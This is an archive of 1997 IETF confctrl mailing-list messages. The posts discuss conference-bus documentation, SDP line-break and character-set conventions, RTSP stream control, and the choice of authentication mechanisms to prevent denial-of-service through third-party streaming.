	id <AA16614>; Thu, 24 Apr 1997 05:04:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16608>; Thu, 24 Apr 1997 05:04:02 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16376>; Thu, 24 Apr 1997 05:04:01 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA11361; Thu, 24 Apr 1997 08:03:58 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA23667; Thu, 24 Apr 1997 08:03:57 -0400 (EDT)
Message-Id: <335F4C2D.249C@cs.columbia.edu>
Date: Thu, 24 Apr 1997 08:03:57 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Ross Finlayson <finlayson@lvn.com>
Cc: Radhika Malpani <radhika@CS.Berkeley.EDU>, confctrl@ISI.EDU
Subject: Re: qb - a new floor ctrl tool fro asking questions
References: <1.5.4.16.19970423160200.40e7eee2@pop.best.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Ross Finlayson wrote:
> 
> At 07:13 AM 4/23/97 -0700, Radhika Malpani wrote:
> >Qb does send the grant-floor directive to vic & vat using the conference bus
> >mechanism.
> 
> This reminds me:
> 
> Where is the 'conference bus' documented/described?  It's some sort of
> multicast-based intra-node (TTL 0?) command protocol, right?  Even if it's
> always used internally within a client machine (so, is not a true 'network'
> protocol), it would still be a good thing to define properly and standardize
> (informally, at the very least), so that lots of different a/v tools could
> use it.

Note that this is not the only local conference bus. See my NOSSDAV'95
paper, which provides documentation on a text-based version.

@INPROCEEDINGS{Schu9504:Dynamic,
AUTHOR="Schulzrinne, Henning",
TITLE="Dynamic Configuration of Conferencing Applications using
Pattern-Matching Multicast",
BOOKTITLE=nossdav,
PUBLISHER="Springer",
SERIES="Lecture Notes in Computer Science (LNCS)",
ADDRESS="Durham, New Hampshire",
YEAR=1995,
MONTH=apr,
PAGES="231-242",
ABSTRACT="Multimedia conferencing systems are usually large, complex
software systems.  We describe a local control architecture and
communication protocols that allow to tie together media agents,
controllers and auxiliary applications such as media recorders and
management proxies into a single conference application.  Unlike other
systems, control of a single conference can be shared between several
controllers.  Each media can be handled by one or more independent
media agents.  Parts of the system have been implemented using an
IP-multicast-based audio conferencing tool (NeVoT).  The
communicating applications disseminate state and control information
through a replicator.  The replicator mainly limits distribution of
messages based on expressed interest of other applications, thus
implementing an application-level, receiver-driven local multicast.
It also automatically starts applications as needed.  The same
functionality was also implemented IP multicast restricted to the
local host.",
KEYWORDS="multimedia; conferencing; conference control; multicast",
URL="ftp://gaia.cs.umass.edu/pub/Schu9504:Dynamic.ps.gz",
ENTRYBY=Sc
}

For one approach of integrating this with SIP, RTSP, et al., see

@INPROCEEDINGS{Schu9705:Comprehensive,
AUTHOR="Henning Schulzrinne",
INSTITUTION="Columbia University",
SPEAKER="Henning Schulzrinne",
TITLE="A comprehensive multimedia control architecture for the
{Internet}",
BOOKTITLE=nossdav,  
ADDRESS="St. Louis, Missouri",
YEAR=1997,   
MONTH=may,   
DAY="19-21",
REFERENCES=46,
KEYWORDS="SIP; RTSP; signaling; Internet telephony; continuous media;
video on demand; audio on demand",
URL="http://www.cs.columbia.edu/~hgs/papers/Schu9705:Comprehensive.ps.gz",
ENTRYBY=Sc
}



> 
>         Ross.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Apr 24 04:16:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16929>; Thu, 24 Apr 1997 05:16:44 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16917>; Thu, 24 Apr 1997 05:16:39 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16777>; Thu, 24 Apr 1997 05:16:37 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA11619; Thu, 24 Apr 1997 08:16:35 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA23699; Thu, 24 Apr 1997 08:16:35 -0400 (EDT)
Message-Id: <335F4F22.DDF@cs.columbia.edu>
Date: Thu, 24 Apr 1997 08:16:34 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Cc: confctrl-request@isi.edu
Subject: Mailing list delays
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm noticing that the confctrl mailing list seems to be very slow in
distributing material (unless it has some really intelligent agent
intentionally holding up certain contributions, based on the number of
emails sent previously...). A mail of mine ("RTSP denial-of-service
attacks: never mind") spent three days in California:

Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160]) by
cs.columbia.edu (8.8.5/8.6.6) with SMTP id FAA08250 for
<hgs@cs.columbia.edu>; Thu, 24 Apr 1997 05:21:21 -0400 (EDT)

Received: by zephyr.isi.edu (5.65c/5.61+local-23) id <AA04032>; Mon, 21
Apr 1997 18:26:04 -0700

Have others noticed this as well? Talking about delays in discussions...

From majordom@ISI.EDU  Thu Apr 24 05:36:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18430>; Thu, 24 Apr 1997 06:36:44 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18424>; Thu, 24 Apr 1997 06:36:41 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18546>; Thu, 24 Apr 1997 06:36:39 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA13246; Thu, 24 Apr 1997 09:36:31 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id JAA23816; Thu, 24 Apr 1997 09:36:29 -0400 (EDT)
Message-Id: <335F61DC.583F@cs.columbia.edu>
Date: Thu, 24 Apr 1997 09:36:28 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu, Mark Handley <mjh@isi.edu>
Cc: Stefan Hoffmann <hoffmann@fokus.gmd.de>
Subject: Line break conventions: SIP, RTSP, SDP, HTTP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Like all other Internet text-based protocols, SIP and RTSP (and HTTP,
naturally) use the CRLF convention to represent line breaks. Besides
historical precedent, this makes it easy to use the 'universal telnet
protocol emulator' with these protocols. This, however, doesn't work
when the SIP and RTSP payloads are SDP, as their current line break
character is LF (\n), the Unix convention. Similarly, for email delivery
of SDP as text or via http, it is likely that some email systems and web
browsers or text will use the canonical line break convention (CRLF) and
thus break anal-retentive SDP parsers that insist on only LF. Needless
to say, a certain commercially relevant operating system uses the CRLF
convention for text, so that handediting on these systems is going to be
difficult.

HTTP also (RFC 2068, section 3.7.1, "Canonicalization and Text
Defaults") says:

--- begin quote ---

   Internet media types are registered with a canonical form. In
   general, an entity-body transferred via HTTP messages MUST be
   represented in the appropriate canonical form prior to its  
   transmission; the exception is "text" types, as defined in the next
   paragraph.
 
   When in canonical form, media subtypes of the "text" type use CRLF as
   the text line break. HTTP relaxes this requirement and allows the
   transport of text media with plain CR or LF alone representing a line
   break when it is done consistently for an entire entity-body. HTTP
   applications MUST accept CRLF, bare CR, and bare LF as being  
   representative of a line break in text media received via HTTP. In
   addition, if the text is represented in a character set that does not
   use octets 13 and 10 for CR and LF respectively, as is the case for
   some multi-byte character sets, HTTP allows the use of whatever octet
   sequences are defined by that character set to represent the
   equivalent of CR and LF for line breaks. This flexibility regarding
   line breaks applies only to text media in the entity-body; a bare CR
   or LF MUST NOT be substituted for CRLF within any of the HTTP control
   structures (such as header fields and multipart boundaries).
 
--- end quote ---

Given Internet precedent, the rule of 'be liberal in what you accept'
and the integration with SIP and RTSP, I would strongly suggest that SDP
follow the attitude of HTTP: Allow any of the combinations outlined
above. The cost to implementations is negligible.

The current specification is not all that clear 

"Text records such as the session name and information  may  contain 
any
printable  8  bit ISO 8859-1 character with the exceptions of 0x0a (new-
line) and 0x0d (carriage return).  Carriage Return  is  prohibited,  and
Newline is used to end a record."

This is the only in-text reference to line break conventions [and, from
the wording, only applies to the text records] beyond the BNF (which is
slightly wrong, since it's not ASCII code 10 but rather the binary value
10; Internet protocols also call it LF, not newline).

Also, in line with recent IETF RFCs and IESG recommendations (see RFC
2130), the spec should use UTF-8 or UTF-7, not 8859-1, as the default.
Since UTF-8 is the recommended form, there should be a motivation why
UTF-7 is used. (The only candidate for a 7-bit channel is non-MIME email
using cut-and-paste, as far as I can tell, except that this would fail
on DOS/Windows boxes unless the linebreak convention is changed; true
7-bit email would break badly with 8859-1, obviously.) 

Henning

From majordom@ISI.EDU  Thu Apr 24 05:50:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18847>; Thu, 24 Apr 1997 06:52:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18834>; Thu, 24 Apr 1997 06:52:50 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19064>; Thu, 24 Apr 1997 06:52:48 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id JAA00580; Thu, 24 Apr 1997 09:50:27 -0400
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu, Stefan Hoffmann <hoffmann@fokus.gmd.de>
Subject: Re: Line break conventions: SIP, RTSP, SDP, HTTP 
In-Reply-To: Your message of "Thu, 24 Apr 1997 09:36:28 EDT."
             <335F61DC.583F@cs.columbia.edu> 
Date: Thu, 24 Apr 1997 09:50:26 -0400
Message-Id: <578.861889826@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Henning,

Your comments about CRLF in SDP and UTF-8 rather than UTF-7 make
sense, and echo my own recent feelings on this.  The latter certainly
won't break any implementations I know of.  Changing the SDP spec to
allow either LF or CRLF (with a preference for LF simply because it's
shorter) seems fine with me, although it may cause some problems with
current implementations.

Is anyone going to object if I make these changes?

Changing the default from 8859-1 to 10646/UTF-8 is clearly the
cleanest thing to do, but at the time that I specified 10646 as an
option, there was still a large amount of debate about its inability
to cope with Chinese and Japanese properly.  Has that debate now died
down?

Mark



From majordom@ISI.EDU  Thu Apr 24 06:13:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19253>; Thu, 24 Apr 1997 07:13:19 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19247>; Thu, 24 Apr 1997 07:13:17 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19630>; Thu, 24 Apr 1997 07:13:13 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA14145; Thu, 24 Apr 1997 10:13:10 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id KAA23914; Thu, 24 Apr 1997 10:13:09 -0400 (EDT)
Message-Id: <335F6A75.1D9@cs.columbia.edu>
Date: Thu, 24 Apr 1997 10:13:09 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Mark Handley <mjh@isi.edu>
Cc: confctrl@isi.edu, Stefan Hoffmann <hoffmann@fokus.gmd.de>
Subject: Re: Line break conventions: SIP, RTSP, SDP, HTTP
References: <578.861889826@buttle.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark Handley wrote:
> 
> Henning,
> 

A related suggestion would be to bring the BNF in line with other
similar specs (i.e., without listing CRLF explicitly for each field).

> Changing the default from 8859-1 to 10646/UTF-8 is clearly the
> cleanest thing to do, but at the time that I specified 10646 as an
> option, there was still a large amount of debate about its inability
> to cope with Chinese and Japanese properly.  Has that debate now died
> down?

Clearly, 8859-1 doesn't deal with Chinese at all, so that's not exactly
a reason to keep it... However, the issue you are referring to ("Han
unification") is roughly that certain Han (Chinese) characters have
different glyphs (look different) in different languages based on the
Chinese characters (I'm not a character set expert, but I think this is
roughly right). Thus, for proper rendering, both an indication of
character set and language is needed. RFC 2130 has some discussion of
this topic. Thus, my suggestion:

- use 10646/UTF-8 since it covers far more languages more cleanly than
the alternatives and is not obviously biased towards one country or set
of countries (as opposed to 8859-1, which, if we were on the liberal
arts side of the university, I'd be flogged for as a perpetuator of
cultural bias, racism, Eurocentrism, dead white males, etc. :-))

- add a language parameter like charset to the definition to avoid the
Han unification problem as well as allow better filtering (if the
announcement is in Ungarian, I may not want to display it since the
likelihood that I benefit from it is somewhat limited; also makes it
possible to have several announcement in different languages). This
should be both a session-level and media-level attribute.

> 
> Mark

Henning

From majordom@ISI.EDU  Thu Apr 24 02:25:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26665>; Thu, 24 Apr 1997 09:27:48 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26648>; Thu, 24 Apr 1997 09:27:42 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25023>; Thu, 24 Apr 1997 09:27:40 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA08763
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 24 Apr 1997 09:27:27 -0700
Message-Id: <3.0.32.19970424092553.00cba740@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 24 Apr 1997 09:25:53 -0700
To: Sampo Syreeni <decoy@edu.lahti.fi>, Eric Fleischman <ericfl@MICROSOFT.com>
From: Rob Lanphier <robla@prognet.com>
Subject: RE: RTSP denial-of-service attacks: never mind
Cc: 'Anup Rao' <anup@netscape.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:48 PM 4/24/97 +0300, Sampo Syreeni wrote:
>On Wed, 23 Apr 1997, Eric Fleischman wrote:
>>There seems to be general concurrence that this is a serious concern and
>>that the proper solution is to require authentication. What isn't clear
>>to me is how the RTSP community wishes to respond to this. Two obvious
>>possibilities are:
>>
>>1) to purposefully not add this capability to RTSP until/unless an
>>authentication mechanism is defined for it.
>
>So do you suggest a dedicated authentication mechanism for RTSP? It might
>be that a general purpose authentication protocol could be a better
>candidate. For the sake of modularity and orthogonality in the overall
>protocol suite, maybe the authentication part should be left for the
>server and the potential receiver to do, out of band. (I'm not an expert
>on the current state of authentication protocols but they're bound to be
>out there. I also remember that this has been suggested already. So I
>support it.)

Not only this, but shoehorning everyone into a single mechanism isn't
necessarily going to be appropriate.  In some cases, you may want to get as
intricate as a PGP authenticated handshake between the RTSP client and the
RTP recipient when they are different.  In other cases (i.e. intranets),
simply specifying an IP range or an xhost style list may be the appropriate
"protocol".

In fact, typing "man Xsecurity" on your local X-windows box actually
provides a good starting place for discussion on this.  Not that I'm
advocating handling this exactly like they did, but we're trying to solve a
very similar problem here, and the prior experience may be a good
foundation for this.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 24 05:25:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11257>; Thu, 24 Apr 1997 12:41:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11251>; Thu, 24 Apr 1997 12:41:48 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06684>; Thu, 24 Apr 1997 12:41:47 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id MAA22602; Thu, 24 Apr 1997 12:26:22 -0700
Date: Thu, 24 Apr 1997 12:25:19 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: confctrl@isi.edu
Subject: Re: MUTE in RTSP
In-Reply-To: <Pine.LNX.3.95.970423164822.10267K-100000@nexus.edu.lahti.fi>
Message-Id: <Pine.WNT.3.95.970424115300.-179669I-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 23 Apr 1997, Sampo Syreeni wrote:

> >It's not clear to me what the server serving a single QuickTime/ASF
> >movie would do when told to PAUSE the audio. It appears it would have to
> >do the same disassembly or just offer QuickTime movies as a single
> >entity.

Nothing.  There is no way to express that PAUSE request because RTSP
knows only about the single combined stream.

> Furthermore, if one uses segregated data streams with multicast
> sessions, one is bound to have some problems if all the synchronization
> burden is pushed to the client end.

Not true.  The burden is at the client end no matter how the data gets
there, because the client end is where the presentation occurs.

> The clients should largely be blind,
> as far as the application viewer is concerned, as to whether the streams
> come from multicast or unicast sources.

True, but the synchronization effort is the same for multicast or unicast.

> >Whether the media streams arrive at the receiver unbundled or not, because
> >the time-to-render characteristics of each kind of rendering hardware
> >(audio/video/etc), the receiver must often unbundle them and do
> >considerable amounts of inter-stream time biasing in order to get get them
> >to be rendered at the same time.
> 
> But such buffering is easier to do because you do not have to take into
> account the delay jitter of the network, ...

Not true.  To achieve continuous playback, you need to provide
sufficient buffering with either transport method.  The minimum
buffering delay is achieved by putting all the buffering together in
one place, accommodating all delay sources, and dynamically adapting
that to the minimum value.

> There are also bound
> to be more synchronization problems over a heterogeneous cloud of routers
> and networks when operating with segregated data streams than with
> interlaced ones.

Not really, unless some streams are given priority over others.  But,
in fact one may want to do that when achieving low latency on one
stream is more important than presenting the streams in sync.

> Let's assume you're deaf. Would there not be sense in MUTEing the
> soundtrack of a movie if a text was available?

This is indeed one of the motivations for sending the audio and video
streams separately.
							-- Steve


From majordom@ISI.EDU  Thu Apr 24 08:30:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03747>; Thu, 24 Apr 1997 17:17:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03719>; Thu, 24 Apr 1997 17:16:50 -0700
Received: from condor.CC.UMontreal.CA by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26525>; Thu, 24 Apr 1997 17:16:49 -0700
Received: from eole.ERE.UMontreal.CA (eole.ERE.UMontreal.CA [132.204.2.70]) by condor.CC.UMontreal.CA with ESMTP id UAA04340
  (8.6.11/IDA-1.6); Thu, 24 Apr 1997 20:11:36 -0400
Received: from mistral.ERE.UMontreal.CA by eole.ERE.UMontreal.CA (951211.SGI.8.6.12.PATCH1042/5.17)
	id UAA24697; Thu, 24 Apr 1997 20:16:19 -0400
Received: from [142.62.1.234] by mistral.ERE.UMontreal.CA (951211.SGI.8.6.12.PATCH1042/5.17)
	id MAA02362; Thu, 24 Apr 1997 12:28:40 -0400
X-Sender: muzardj@mistral.ere.umontreal.ca
Message-Id: <v0153051caf8532eaa35a@[142.62.1.234]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 24 Apr 1997 12:30:43 -0400
To: wangjian@doctor4u.com, confctrl@isi.edu
From: muzardj@ere.umontreal.ca (Joel Muzard)
Subject: Re: help
Cc: cscw-sig@mailbase.ac.uk, rem-conf@es.net, vidconf@pulver.com,
        videophone@es.net, VIDNET-L@uga.cc.uga.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:12 23/04/97, WANG Jian wrote:
>hi,
>
>I am making plans for a project on real-time collaberative system.
>
>I want to know
>1, the prices of QuickTime Conferencing products, and
>2, the products of mac-based shared editor or collaberative writer and
>their prices.

I invite you to have a look at http://ideaprocessor.citi.doc.ca
If you have questions, then contact me.

Joel



--------------*

Dr. Joel Muzard
President
Atelier d'informatique appliquee (AiA) Inc.
(514) 973-5769
(514) 973-5757 Fax-telecopieur
WWW:
http://IdeaProcessor.citi.doc.ca/



From majordom@ISI.EDU  Fri Apr 25 01:57:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25451>; Fri, 25 Apr 1997 09:17:25 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25445>; Fri, 25 Apr 1997 09:17:24 -0700
Received: from INET-01-IMC.microsoft.com (mail1.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28634>; Fri, 25 Apr 1997 09:17:21 -0700
Received: by mail1.microsoft.com with Internet Mail Service (5.0.1458.14)
	id <J424PY5Y>; Fri, 25 Apr 1997 09:14:08 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F74C4@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'cat_ietf@mit.edu'" <cat_ietf@mit.edu>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Authentication in RTSP
Date: Fri, 25 Apr 1997 08:57:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This query is to the Common Authentication Technology working group
asking for some sage advice about authentication protocols.

The MMUSIC working group is currently working on the RealTime Streaming
Protocol (RTSP). RTSP is a protocol which is explicitly being pattered
after HTTP. The goal of RTSP is to stream multimedia content (e.g.,
audio, video, still images, etc.). One of our desired RTSP features is a
to be able to permit an individual to indicate an IP address of a third
party (that address may be unicast or multicast address) to receive a
multimedia stream. It is conceivable that multiple third party addresses
may be so indicated. We would like to specify one or more currently
available, fairly powerful, generic authentication mechanisms by which
we can identify the client making the request to seek to avoid denial of
service attacks and other similar problems.

Questions:
1) Is access control also a concern we need to worry about (i.e., a
mechanism to determine whether the client requester has the authority to
identify third party addresses to receive multimedia streams)?? If so,
how would we do this?

2) Are any commonly available HTTP authentication mechanisms adequate
for our task (e.g., BASIC authentication sends the password in the clear
over the wire so that would be a bad choice. Is there a more adequate
choice available?) ?

3) What sage advice/wisdom could you give us about authentication
mechanisms/approaches? 

Many thanks.

From majordom@ISI.EDU  Fri Apr 25 02:05:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25364>; Fri, 25 Apr 1997 09:15:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25358>; Fri, 25 Apr 1997 09:15:28 -0700
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28568>; Fri, 25 Apr 1997 09:15:24 -0700
Received: by INET-02-IMC with Internet Mail Service (5.0.1458.14)
	id <J424KLNM>; Fri, 25 Apr 1997 09:08:09 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F74C5@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Sampo Syreeni' <decoy@edu.lahti.fi>
Cc: 'Anup Rao' <anup@netscape.com>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: RE: RTSP denial-of-service attacks: never mind
Date: Fri, 25 Apr 1997 09:05:28 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I would prefer a generic authentication mechanism, preferably one
pattered after HTTP. Unfortunately, when I last looked into the HTTP
mechanisms (November 1996), there were no adequately secure, generic
HTTP authentication alternatives available. (Or at least, I failed to
find one. There were several proprietary alternatives available.)

Your idea of getting the server and nominated third parties to negotiate
is a clever one. I personally don't know how to pursue it without
defining a unique solution for RTSP. That would be a bad thing to do
since we need to use common generic, approaches so that our security
approach could advance as the security industry advances.

I have sent a query to the Common Authentication Technology (CAT) WG to
see what type of sage advice they may care to offer us.

> -----Original Message-----
> From:	Sampo Syreeni [SMTP:decoy@edu.lahti.fi]
> Sent:	Thursday, April 24, 1997 3:49 AM
> To:	Eric Fleischman
> Cc:	'Anup Rao'; Henning Schulzrinne; confctrl@ISI.EDU
> Subject:	RE: RTSP denial-of-service attacks: never mind
> 
> On Wed, 23 Apr 1997, Eric Fleischman wrote:
> 
> >There seems to be general concurrence that this is a serious concern
> and
> >that the proper solution is to require authentication. What isn't
> clear
> >to me is how the RTSP community wishes to respond to this. Two
> obvious
> >possibilities are:
> >
> >1) to purposefully not add this capability to RTSP until/unless an
> >authentication mechanism is defined for it.
> 
> So do you suggest a dedicated authentication mechanism for RTSP? It
> might
> be that a general purpose authentication protocol could be a better
> candidate. For the sake of modularity and orthogonality in the overall
> protocol suite, maybe the authentication part should be left for the
> server and the potential receiver to do, out of band. (I'm not an
> expert
> on the current state of authentication protocols but they're bound to
> be
> out there. I also remember that this has been suggested already. So I
> support it.)
> 
> >My 2 cents worth: The only problem I have with alternative 2 is that
> I
> >fear that it may not result in the same authentication method being
> used
> >by all RTSP implementations.
> 
> Yep. It's bargaining with the devil...
> 
> Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>

From majordom@ISI.EDU  Fri Apr 25 19:38:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23866>; Fri, 25 Apr 1997 08:42:37 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23860>; Fri, 25 Apr 1997 08:42:35 -0700
Received: from rumms.uni-mannheim.de by venera.isi.edu (5.65c/5.61+local-26)
	id <AA24720>; Fri, 25 Apr 1997 08:40:23 -0700
Received: from philon.informatik.uni-mannheim.de by rumms.uni-mannheim.de with SMTP id AA09818
  (5.67a/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 25 Apr 1997 17:39:49 +0200
Received: from philon (localhost [127.0.0.1]) by philon.informatik.uni-mannheim.de (8.8.2/8.8.2) with SMTP id RAA20421; Fri, 25 Apr 1997 17:38:49 +0200 (MET DST)
Message-Id: <3360D008.794B@pi4.informatik.uni-mannheim.de>
Date: Fri, 25 Apr 1997 17:38:49 +0200
From: Volker Hilt <hilt@pi4.informatik.uni-mannheim.de>
X-Mailer: Mozilla 3.01 (X11; I; OSF1 V4.0 alpha)
Mime-Version: 1.0
To: radhika@cs.berkeley.edu
Cc: confctrl@ISI.EDU, geyer@pi4.informatik.uni-mannheim.de
Subject: Re: qb - a new floor ctrl tool fro asking questions
References: <199704222229.PAA04855@woodstock.cs.berkeley.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Radhika Malpani wrote:
> 
> Hi,
> 
> I work for Larry Rowe in the Berkeley Multimedia Research Center.
> We have developed qb which is a floor control tool for MBone seminars. Qb
> allows MBone participants to ask questions and enables a moderator to do
> floor control. Participants can indicate a desire to ask a question by
> typing in a few keywords (or the actual question if they do not have a
> microphone connected). The moderator can then either read the question and
> verbally respond, or can grant the floor to the participant allowing him to
> ask his question by talking into his microphone. Qb works in conjunction
> with vic & vat.
> 

I am very interested in taking a look at your questionboard. We are
working on a system for floor control and session control for tightly
coupled sessions at the University of Mannheim, Germany
(http://www.informatik.uni-mannheim.de/informatik/pi4/projects/teleTeaching/publikationen.html).
Our system is designed for a distance education environment but should
be generally enough to support other conferencing scenarios. We use a
distributed, replicated state model which tracks the state of the
conference on each users machine. Our state model copies are
synchronized via an optimistic synchronization protocol.

I use Digital UNIX 4.0A. We also have IRIX 5.3 and Sun Solaris 2.5.1.

Thanks, Volker.



------------------------------------------------------------------------------
Volker Hilt			Tel:   +49 621 292 5053
Praktische Informatik IV	EMail: hilt@pi4.informatik.uni-mannheim.de
Universitaet Mannheim		http://www.informatik.uni-mannheim.de/~hilt/

From majordom@ISI.EDU  Fri Apr 25 07:47:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
